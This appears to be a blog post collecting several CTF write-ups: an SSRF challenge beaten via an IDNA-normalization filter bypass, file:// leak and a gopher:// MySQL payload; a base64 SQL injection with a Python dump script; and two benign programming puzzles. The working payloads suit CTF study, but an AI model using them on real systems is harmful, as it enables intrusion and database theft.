If you access a route that is not normally known through the leaked code, you can get the process info and netstat info of the current c2 server. Through this, you can see that there is one more flask server that goes back to port 7777 in addition to port 9090. (Here is a lot of effort on the 127.0.0.11 host that uses port 37159, but the service is a host that manages dns on the network inside the docker. It has nothing to do with the challenge and can be found when you google Content)

 

# health check! - curl
@app.route('/He4ltH_chEck_c2_cur1')
def health_curl():
	url = request.args.get('url')
	try:
		if url:
			turl = filterUrl(url)
			if turl:
				url = turl
				try:
					buffer = BytesIO()
					c = pycurl.Curl()
					c.setopt(c.URL,url)
					c.setopt(c.SSL_VERIFYPEER, False)
					c.setopt(c.WRITEDATA,buffer)
					c.perform()
					c.close()
					try:
						result = buffer.getvalue().decode().split('\n')
					except:
						result = buffer.getvalue()
				except Exception as e:
					print('[x] curl err - {}'.format(str(e)))
					result = ['err.....']
				return render_template('He4ltH_chEck_c2_cur1.html', results=result)
			else:
				return render_template('He4ltH_chEck_c2_cur1.html', results=['nah.. url is error or unsafe!'])
	except Exception as e:
		print('[x] curl err2... - {}'.format(str(e)))
	return render_template('He4ltH_chEck_c2_cur1.html', results=['nah.. you didn\'t give url'])

def filterUrl(url):
	try:
		# you may not read any file
		if re.compile(r"(^[^:]{3}:)").search(url):
			if re.compile(r"(^[^:]{3}:/[^(.|/)]/[^(.|/)]/)").search(url):
				print('[+] curl url - {}'.format(url.replace("..","").encode('idna').decode().replace("..","")))
				return url.replace("..","").encode('idna').decode().replace("..","")
		elif re.compile(r"(^[^:]{4}://(localhost|172\.22\.0\.\d{1,3})((:\d{1,5})/|/))").search(url):
			p = parse.urlparse(url)
			if (p.scheme == 'http') and p.netloc.split(':')[0] == 'localhost':
				print('[+] curl url - {}'.format(url))
				return url
		elif re.compile(r"(^[^:]{6}://(localhost|172\.22\.0\.\d{1,3})((:\d{1,5})/|/))").search(url):
			print('[+] curl url - {}'.format(url))
			return url
	except Exception as e:
		print('[x] regex err - {}'.format(str(e)))
		return False

	return False

 

가장 중요한 부분인데요, 사용자의 input url을 받아 curl의 인자로 넘겨주는 서비스가 존재합니다. 다만 사용자의 input을 regex로 filtering하고 있어 이를 우회하여 SSRF(Server Side Request Forgery)하는 것이 출제자의 intent입니다. (다행히 unintent로 문제를 해결하신 분이 없습니다)

 

The most important part, there is a service that takes the user's input url and passes it as an argument of curl. However, since the user's input is filtered with regex, it is the intent of the submitter to bypass this and SSRF (Server Side Request Forgery). (Fortunately, no one has solved the challenge with unintent)

 

if re.compile(r"(^[^:]{3}:)").search(url):
	if re.compile(r"(^[^:]{3}:/[^(.|/)]/[^(.|/)]/)").search(url):
		print('[+] curl url - {}'.format(url.replace("..","").encode('idna').decode().replace("..","")))
		return url.replace("..","").encode('idna').decode().replace("..","")

 

상기 코드 중 scheme이 3글자 일때의 filtering code를 살펴보면, 특이하게도 input url에서 '..'를 제거 후 'idna normalization'을 수행하는 것을 확인 할 수 있습니다. idna normalization을 할 시 특수 unicode가 printable ascii character로 변환되는 일이 비일비재 합니다. 이번 문제의 의도는 이러한 idna normalization을 유니코드 범위 \u0000에서 \uffff까지 fuzzing하여 해당 문제 해결에 필요한 Gadget을 획득하는 것이었습니다.

 

Looking at the filtering code when the scheme is 3 letters among the above codes, it can be confirmed that 'idna normalization' is performed after removing '..' from the input url. When performing idna normalization, special unicode is converted into printable ascii character. The intention of this issue was to fuzzing this idna normalization from the Unicode range \u0000 to \uffff to get the Gadget needed to solve that challenge.

 

 

 

저 또한 idna normalization에서의 특수한 케이스를 얻기 위해 퍼징하여 그 데이터를 가지고 있는데요, 이 중 fi(\ufb01)가 문제 해결에 사용될 수 있습니다. 해당 문자는 idna normalization 이전엔 1바이트이지만 normalization 이후엔 2바이트 ascii character로 변하게 됩니다. 이로 인하여 처음의 3글자 scheme 필터링 regex에 통과되어 idna normalization 이후 file:/// scheme을 사용, local file leak이 가능해지는 것입니다.

 

I also fuzz to get a special case in idna normalization and have that data, of which fi(\ufb01) can be used to solve the problem. The character is 1 byte before idna normalization, but after normalization it is changed to a 2-byte ascii character. Because of this, the first 3-letter scheme is passed through the filtering regex, and after idna 

normalization, a file:/// scheme is used, and a local file leak is possible.

 

http://hack-the-c2.ctf.defenit.kr:9090/He4ltH_chEck_c2_cur1?url=file:/‥/‥/app2/app/main.py

 

이로써 7777 포트로 구동중인 internal flask server에 대한 코드를 획득하였습니다.

 

So, we can obtain the code for the internal flask server running on port 7777.

 

 

def connect_db():
	db = pymysql.connect(
		user='b4d_aR4n9',
		#passwd=os.environ['DBPW'],
		host='172.22.0.4',
                port=3306,
		db='defenit_ctf_2020',
		charset='utf8'
	)

	return db

db = connect_db()



# if input killcode, kill all ransomware
@app.route('/k1ll_r4ns0mw4r3')
def kill_ransom():
	try:
		if request.remote_addr != '172.22.0.3' and request.remote_addr != '127.0.0.1':
			return '[INTERNAL] localhost only..'

		cursor = db.cursor(pymysql.cursors.DictCursor)
		cursor.execute("SELECT ki11c0d3 from secret;")

		if cursor.fetchall()[0]['ki11c0d3'] == request.args.get('ki11c0d3'):
			return subprocess.Popen("/app2/getFlag", stdout=subprocess.PIPE).stdout.read().strip()
		else:
			return '[x] you put wrong killcode!'

	except:
		return '[x] errr.....'

 

해당 코드를 살펴보면 172.22.0.4:3306 으로 mysql connect를 맺어 여기서 killcode를 읽고, killcode가 맞을 시 /app2/getFlag를 실행하여 flag를 출력해주는 것을 확인할 수 있습니다.

 

elif re.compile(r"(^[^:]{6}://(localhost|172\.22\.0\.\d{1,3})((:\d{1,5})/|/))").search(url):
	print('[+] curl url - {}'.format(url))
	return url

 

external flask에 있던 코드 중 6글자 scheme에 대해선 localhost 혹은 172.22.0.0/24 대역대로만 host를 제한하고 있습니다. 이를 이용하여 gopher://172.22.0.4:3306/으로 raw mysql packet을 보내어 요청한다면 우리가 원하는 임의의 sql query를 입력, 결과를 받아올 수 있습니다. (mysql connection시 비밀번호 없이 인증할 수 있도록 설정되어 있기 때문에handshake시 받아오는 20byte의 hash seed값 없이도 authentication이 가능합니다)

 

For the 6-letter scheme among the codes in the external flask, the host is limited to the localhost or 172.22.0.0/24 band. If you request by sending raw mysql packet to gopher://172.22.0.4:3306/ using this, you can enter any sql query we want and get the result. (Because it is set to authenticate without a password when connecting to mysql, authentication is possible without a hash seed value of 20 bytes received during handshake)

 

 

나머지 과정은 Gopherous로 쉽게 해결할 수 있습니다. (이를 못하게 하기 위해 연구중이었지만 시간이 부족하였습니다 ㅠㅠ)

 

The rest of the process can be easily solved with Gopherous. (I was researching to prevent this, but I ran out of time)

 

 

http://hack-the-c2.ctf.defenit.kr:9090/He4ltH_chEck_c2_cur1?url=gopher://172.22.0.4:3306/_%25a8%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2562%2534%2564%255f%2561%2552%2534%256e%2539%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2526%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2564%2565%2566%2565%256e%2569%2574%255f%2563%2574%2566%255f%2532%2530%2532%2530%252e%2573%2565%2563%2572%2565%2574%2501%2500%2500%2500%2501

 

 

해당 payload로 gopher scheme을 이용하여 mysql 서버에 요청 시 결과값이 byte로 오는것을 확인할 수 있습니다.

 

When the request is requested to the mysql server using the gopher scheme as the corresponding payload, the result value can be checked as a byte.

 

 

 

이를 출력해보면 killcode를 확인할 수 있습니다.

 

If you print it out, you can see the killcode.

 

 

http://hack-the-c2.ctf.defenit.kr:9090/He4ltH_chEck_c2_cur1?url=localhost:7777/k1ll_r4ns0mw4r3?ki11c0d3=k1ll_th3_ALL_b4d_aR4n9_ransomeware

GET FLAG!!!

 

 


Epilogue.

 

 이렇게 제대로 마음잡고 CTF에 문제를 내본 것은 처음인것 같습니다. 주 분야가 아닌 분야의 출제를 맡아 처음엔 걱정도 고민도 많이 됐지만 다 만들고 나니 OSINT라는 카테고리에 어울리는 문제를 만든것 같다는 소소한 만족감(?)을 얻었는데, 푸신분들은 어떠셨을 지 잘 모르겠습니다. 괜찮았나요? 처음에 생각했던 것 보다 만드는데 어려움이 있어 현재보다 더욱 재밌는 챌린지를 만들지 못해 아쉽지만 기회가 된다면 그 생각들을 나중에 다시 문제로 실현시켜 공유해보고 싶네요. 풀어주신 분들께 정말 감사드리고 혹 부족함이 있었다면 죄송합니다. 감사합니다. 그럼이만! 

 

It seems to be the first time I have properly thought about this and presented a problem to the CTF. I had a lot of worries and worries at first because I took the questions in a field other than the main one, but after I finished making it, I got a slight satisfaction (?) that it seemed to have created a problem that fits into the category called OSINT. Was it okay? It's a pity that I couldn't create a more challenging challenge than it is now because I have a harder time to make it than I thought at first, but if I have the chance, I would like to share it later as a problem. Thank you so much for releasing and sorry if there was any shortage. Thank you. Sure!

 

 

 

'bad-tumblers' 문제를 제작하는데 사용한 스크립트/솔버 파일과 'hack-the-c2' 문제의 도커 및 소스를 업로드 하였으니 직접 구성하여 해보고싶으신 분들은 참고 부탁드립니다!

 

I uploaded the script/solver file used to create the'bad-tumblers' challenge, and the docker & source code of the 'hack-the-c2' challenge, so if you want to configure it yourself, please take a look!

 

https://github.com/JaewookYou/2020-defenit-ctf-osint-writeup

 

made by @arang

 

  1. 2020.06.07 23:07

    재밌었습니다!
    좋은 문제 내주셔서 감사합니다 :)

[ Summary ]

우선 해당 문제는 WEB+MISC이다. stage. 1은 웹, stage. 2는 MISC로 풀이되기 때문이다. 기본적으로는 sql injection을 통해 정보를 획득하고, 이후 빈도수에 따라 admin password를 유추하는 문제이다.

[ Vulnerability ]

메인페이지

문제페이지를 보면 유튜브 영상들이 있고 해당 영상 미리보기 이미지를 클릭할 시 /open.php?title={Base64 encoded movie name}를 통해 유튜브로 이동하게 된다. 넘기는 title 파라미터를 base64 decode 해볼 시 link 주소가 아니기 때문에 내부 데이터베이스에 정보가 매핑되어 있고, 해당 파라미터의 정보가 디비로 들어갈 것을 유추해 볼 수 있따.

따라서 해당 파라미터에 sql injection을 시도하면 아래와 같이 시도할 수 있따. (thx to 03sunf@defenit and JeonYoungSin@defenit)

/open.php?title=${base64.encode('") union select 1,2,(select database()),4 -- ')}

sql injection vuln!

또한 메인페이지에 접속시 tracc.php를 통해 키로거가 동작한다(?)

키로거가 박혀있다?

메인페이지에 진입 후 다른 페이지로 이동시 /tracc.php를 통해 키로거마냥 내가 입력한 키들이 서버로 전송된다.


그럼 이제 발견된 sqli vuln으로 union select 1,2,group_concat(schema_name),4 from information_schema.schemata 이렇게 db를 쫙 긁어보자

더보기

# extracted value

#schema : rpdg
#table : culture, tracking
#column culture : id, link, title, year
#column tracking : id, key, path, timestamp, user

해당 컬럼들을 쫙 뽑아보면 tracking column에 key column이 안뽑힌다.

union select 1,2,group_concat(x.key),4 from tracking as x (thx to JeonYoungSin@defenit)

쫙 뽑으면 다음과 같은 데이터를 얻을 수 있다.

#-*-coding:utf-8-*-
import requests
import sys
import random
reload(sys)
sys.setdefaultencoding('utf-8')
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from urllib import quote

u = 'https://rpdg.fluxfingersforfuture.fluxfingers.net/open.php?title={}'


#schema : rpdg
#table : culture, tracking
#column culture : id, link, title, year
#column tracking : id, kye, path, timestamp, user

s = requests.session()
num = 0
result = ''
t1 = 0
t2 = 0

while 1:
    query = "\") union select 1,2,concat(x.key,':',x.timestamp),4 from tracking as x limit {},1 -- x".format(num).encode('base64')
    r = s.get(u.format(query), verify=False)
    #print dir(r)
    if r.status_code==200:
        print r.content
    elif r.status_code==404:
        t = r.url.split('https://rpdg.fluxfingersforfuture.fluxfingers.net/')[1]
        t2 = int(t.split(':')[1])
        with open('result.txt','a+') as f:
            f.write('{}:{}\n'.format(t,t2-t1))
        f.close()
        t1 = t2
        result += t
        print '[{}] {}'.format(num,t)

    else:
        print r.content
    num += 1

print result

추출 결과

이제 여기까지가 Web hacking의 영역이고 이후부턴 misc 영역이다.

중간에 문제풀다 막혀있을 때 힌트가 나왔는데 그 힌트가 상당히 결정적이었다.

더보기

HINT: People tend to type key combinations faster if they use them frequently, like in their passwords for example.

한마디로 사람이 익숙한 단어를 칠땐 타이핑하는 단어 사이의 간격이 짧다는 것이다. 우리가 키로거(?)를 통해 추출한 시간값들을 t2-t1 형식으로 뽑아보면 200ms 이하로 치는 단어들이 있다.

예를들어, "arang" 이라는 단어를 친다고 가정했을 때, 내가 평소 많이 치는 단어조합이 "arang"이므로 만약 내가 "language"라는 단어를 친다면 arang의 ang가 익숙하므로 다른 영문자를 타이핑할때보다 ang를 더 빠르게 친다는 것이다.

그럼 위에 추출결과처럼 표현해보면

더보기

l : 420
a : 414
n : 153
g : 148
u : 432
a : 514
g : 394
e : 412

이런식으로 된다.

따라서 이런식으로 쭉 타이핑 습관을 tracking해보면,

더보기

gra ple equ wo le ing om ap ms ci suc grap

이런 조합이 나온다.

이걸 끝말잇기 하듯이 쫙 연결해보면 womsucingraplequ가 나온다.

이게 password일 것으로 예측하고 로그인하면 flag 획득.

flag{GDPR_is_here_to_save_y'all}

[Preview]

CTF 문제를 풀기 시작한 최근, 여러 분야의 문제들을 보고 있습니다. 이번에 도전해 본 분야는 PPC(Professional Programming Challenges)입니다. 문과출신의 저에게 약한 분야인 수학에 대한 내용이기에 지레 겁먹고 손대지 않았었지만 이번엔 왠지 할만하다는 느낌적인 느낌(?) 덕택에 도전하게 되었습니다. 포기하고 자려고 마음먹고 침대에 누운 순간 솔루션이 생각나서 그대로 밤을 샜던 좋은 경험(?)을 할 수 있었습니다 ㅋㅋ..


[Summary]

이번 문제는 엄청 큰 수 n보다 작으며 x**y를 만족하는 n에 가장 가까운 수 'r'을 찾아내는 문제였습니다. 문제풀이의 핵심은 시간 내에 효율적으로 계산이 되게끔 코드를 구성할 수 있는가 입니다. 저는 3가지 방법을 써서 코드의 효율성을 높일 수 있었습니다.

 

 1. n에 가장 가까운 2**y 에서 y를 구함

 2. [1]번에서 구한 y값을 줄여나가며 'n - (x**y) < 0' 을 처음으로 만족하는 x값을 구함

 3. [2]번에서 구한 'n - ((x-1)**y)' 값이 이전에 구한 최소값보다 작은지 비교

 4. [2]번의 조건을 만족하기 위한 x의 증가폭을 처음에 크게 설정 후 증가폭을 조절

 5. 수의 크기에 따라서 y가 2가 되는 순간까지 x값을 구하지 않고 중간에 포기하도록 함


어찌보면 난잡할 수도 있지만 로그와 극한도 잘 모르는 저는 여러가지 시행착오 끝에 위와 같은 솔루션을 구할 수 있었습니다.


[Code]

import socket import hashlib #read data - get hash_num def read_hash(): data="" data2="" while "[-6:] = " not in data: data += s.recv(1) data2=s.recv(6) #hash_num print data+data2 return data2 #PoW def do_PoW(hash_num): pow_result="" print ("[*] I'm doing PoW...") for i in xrange(1000000000): if hash_num in str(hashlib.sha256(str(i)).hexdigest())[-6:]: pow_result=str(i) break print "[!] pow result = %s" % pow_result s.send(pow_result+"\n") #read data - get big number data1=recvuntil("n = ") data2=recvuntil("To") data3=recvuntil(":)") s.recv(1) print data1+data2+data3 return data2 #get y on 2**y def get_num_x_2(a): for i in range(100, 1000000): if (a-(2**i)<0): print ("[*] start y - %s" % str(i-1)) return i-1 #get x by decreasing y(get_num_x_2(a)) def get_num_y_2(num, num_cnt): x=3 y=num yt=0 tmp=a cnt=num_cnt tmp2=0 while(1): if(a-(x**y)<0): #give-up point if(num>3000): if(y<17): print ("[*] Gotya! %s" % str(tmp)) return str(tmp) elif(num>2000): if(y<15): print ("[*] Gotya! %s" % str(tmp)) return str(tmp) elif(num>1000): if(y<11): print ("[*] Gotya! %s" % str(tmp)) return str(tmp) elif(num>700): if(y<8): print ("[*] Gotya! %s" % str(tmp)) return str(tmp) else: if(y==2): print ("[*] Gotya! %s" % str(tmp)) return str(tmp) #is smaller r? if(a-((x-1)**y)<tmp): #set increasing range of x if(y<=190 and cnt!=1): x-=cnt cnt = cnt/2 continue tmp=a-((x-1)**y) y-=1 yt=y cnt=num_cnt else: y-=1 yt=y cnt=num_cnt else: #set increasing range of x if(y>190): x+=1 elif(y<=190): x+=cnt #check clear def isNext(): dt="" dt+=recvuntil("\x0a") if "next stage" in dt: data1=recvuntil("n = ") data2=recvuntil("To") data3=recvuntil(":)") s.recv(1) print data1+data2+data3 return data2 else: print dt while 1: print recvuntil("\x0a") #custom recvuntil def recvuntil(str): data="" while str not in data: data += s.recv(1) return data ######main###### num_y=0 num_cnt=2**250 s = socket.socket() ip = '37.139.22.174' port = 11740 s.connect((ip,port)) #pow a=do_PoW(read_hash()) a=a[0:len(a)-3] a=long(a) #get r while(1): num_y = get_num_x_2(a) result = get_num_y_2(num_y, num_cnt) print ("[!] r=\'%s\'" % str(result)) s.send(result+"\n") a=isNext() a=a[0:len(a)-3] a=long(a)

[그림 1] 문제 풀이 코드(Python)



 

[그림 2] 솔루션 실행 화면
















var net = require('net');

flag='fake_flag';

var server = net.createServer(function(socket) {
    socket.on('data', (data) => { 
        //m = data.toString().replace(/[\n\r]*$/, '');
        ok = true;
        arr = data.toString().split(' ');
        arr = arr.map(Number);
        if (arr.length != 5) 
            ok = false;
        arr1 = arr.slice(0);
        arr1.sort();
        for (var i=0; i<4; i++)
            if (arr1[i+1] == arr1[i] || arr[i] < 0 || arr1[i+1] > 127)
                ok = false;
        arr2 = []
        for (var i=0; i<4; i++)
            arr2.push(arr1[i] + arr1[i+1]);
        val = 0;
        for (var i=0; i<4; i++)
            val = val * 0x100 + arr2[i];
        if (val != 0x23332333)
            ok = false;
        if (ok)
            socket.write(flag+'\n');
        else
            socket.write('nope\n');
    });
    //socket.write('Echo server\r\n');
    //socket.pipe(socket);
});

HOST = '0.0.0.0'
PORT = 23333

server.listen(PORT, HOST);

[그림1] 문제 전체 소스코드



[그림1] 문제의 전체 소스코드를 살펴보면 var형 변수를 쓰는 것과 nodejs에서의 TCP 소켓을 구현하는 방식임을 보고 미루어 보았을 때 nodejs로 구현된 TCP 소켓 서버임을 알 수 있다. 유저가 보낸 data를 받아와 ' '(공백)을 기준으로 split 한 후 배열에 넣어 여러 검증과정과 처리과정을 거친 후 나오는 결과값이 '0x23332333' 인지 확인한 후 맞다면 플래그를 띄운다.



        arr = data.toString().split(' ');
        arr = arr.map(Number);
        if (arr.length != 5) 
            ok = false;
        arr1 = arr.slice(0);
        arr1.sort();

[그림2] 데이터 초기 처리과정




[그림3] Javascript 에서의 split(), map(), slice(), sort() 동작 과정


[그림2]의 초기 데이터 처리과정은 [그림3]과 같이 진행된다. 여기서 주의해야 할 점은 유저의 데이터가 ' data.toString().split(' ') ' 을 통해 'String' 으로 형변환이 되며 arr 배열로 들어가기 때문에 뒤의 ' arr1.sort() ' 코드에서 정렬할 때 'int' 형이 아닌 'string' 형으로 정렬이 된다. 이 말은 곧, 숫자의 크기와 상관 없이 맨 앞글자부터 크기를 비교하기 때문에, [그림3]과 같이 [8, 21, 4, 57, 6]이 배열에 들어갔다면 [21, 4, 57, 6, 8]로 정렬이 되는 것이다. 저는 이걸 헷갈려서 한참을 헤맸다는...



if (arr.length != 5) ok = false; ... for (var i=0; i<4; i++) if (arr1[i+1] == arr1[i] || arr[i] < 0 || arr1[i+1] > 127) ok = false;

[그림4] 유저의 input data 검증 과정


이후 [그림4]와 같이 배열의 크기가 5가 아니면 ok 플래그 변수에 false를 넣고(유저의 인풋값이 스페이스를 기준으로 나누어 5개의 값만을 넣어야 한다), 인풋값 중 같은 값이 있는 지, 혹은 0보다 작거나 127보다 큰 수가 있는 지를 검사한다(sort() 이후 검증을 하기 때문에 arr1[i+1]==arr1[i] 만으로도 같은 값이 있는 지 검사할 수 있다).



        arr2 = []
        for (var i=0; i<4; i++)
            arr2.push(arr1[i] + arr1[i+1]);
        val = 0;
        for (var i=0; i<4; i++)
            val = val * 0x100 + arr2[i];
        if (val != 0x23332333)
            ok = false;
        if (ok)
            socket.write(flag+'\n');
        else
            socket.write('nope\n');

[그림5] 데이터 처리 및 계산, 인증 과정


검증 후 arr2 배열을 새로 만들어 arr2에 arr1의 원소를 앞에서부터 두개씩 더하여 넣는다(총 4개의 원소 발생). 이 arr2 배열에 초기값이 0인 상태로 0x100씩 곱하여 원소를 더하고 이를 다시 이용하고 반복하며 이 과정이 끝났을 때 '0x23332333' 이 맞는 지 검사하고 맞다면 플래그를 띄워준다.




for a in range(0, 124): for b in range(a+1, 125): for c in range(b+1, 126): for d in range(c+1, 127): for e in range(d+1, 128): arr1 = [] arr1.append(str(a)) arr1.append(str(b)) arr1.append(str(c)) arr1.append(str(d)) arr1.append(str(e)) arr1.sort() arr2 =[] arr2.append(str(int(arr1[0])+int(arr1[1]))) arr2.append(str(int(arr1[1])+int(arr1[2]))) arr2.append(str(int(arr1[2])+int(arr1[3]))) arr2.append(str(int(arr1[3])+int(arr1[4]))) val = 0 for x in range (0, 4): val = val * 0x100 + int(arr2[x]) if(val==590553907): break if(val==590553907): break if(val==590553907): break if(val==590553907): break if(val==590553907): break else: print ("[%s] I'm doing.." % str(a+1)) print ("[*] I Found It!!!") print (a, b, c, d, e) print (arr2) print (val)

[그림6] 문제 조건에 부합하는 배열을 찾기 위한 Python 스크립트



문제 코드에서 나타난 과정을 Python으로 똑같이 구현하여 조건에 부합하는 배열을 찾아낸다. 같은 수가 나오면 안되므로 맨 뒤부터 순차적으로 숫자를 증가시키며 값을 찾아낸다.



[그림7] Python 스크립트 실행 결과




[그림8] 인증 결과


Flag Get!!!

+ Recent posts